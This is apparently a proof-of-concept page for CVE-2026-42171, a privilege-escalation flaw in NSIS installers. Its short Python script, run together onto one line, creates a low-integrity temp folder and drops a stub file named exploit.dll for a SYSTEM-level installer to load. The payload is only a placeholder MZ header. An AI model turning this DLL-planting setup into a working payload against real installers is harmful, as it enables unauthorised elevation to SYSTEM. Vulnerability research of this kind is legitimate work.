CVE-2026-42171 NSIS权限提升漏洞

import os # Conceptual PoC for CVE-2026-42171 # This script demonstrates how an attacker might prepare the malicious file # in the Low Integrity temp directory before triggering the vulnerable installer. def exploit_simulation(): # Identify the potential Low IL temp directory path # The actual path depends on the specific behavior of my_GetTempFileName target_temp_dir = os.path.expandvars(r"%TEMP%\Low") print(f"[*] Target directory: {target_temp_dir}") # Ensure directory exists (attacker might need to create this in some scenarios) if not os.path.exists(target_temp_dir): try: os.makedirs(target_temp_dir) print(f"[+] Created directory: {target_temp_dir}") except OSError as e: print(f"[-] Error creating directory: {e}") return # Create a malicious payload (e.g., a DLL) # In a real attack, this would be a compiled DLL designed to hijack execution payload_path = os.path.join(target_temp_dir, "exploit.dll") with open(payload_path, "wb") as f: # Simulating a minimal DLL header (MZ) f.write(b"MZ\x90\x00") print(f"[+] Dropped malicious payload at: {payload_path}") print("[*] Waiting for the vulnerable NSIS installer to run as SYSTEM...") print("[*] If the installer uses the Low IL directory, privilege escalation occurs.") if __name__ == "__main__": exploit_simulation()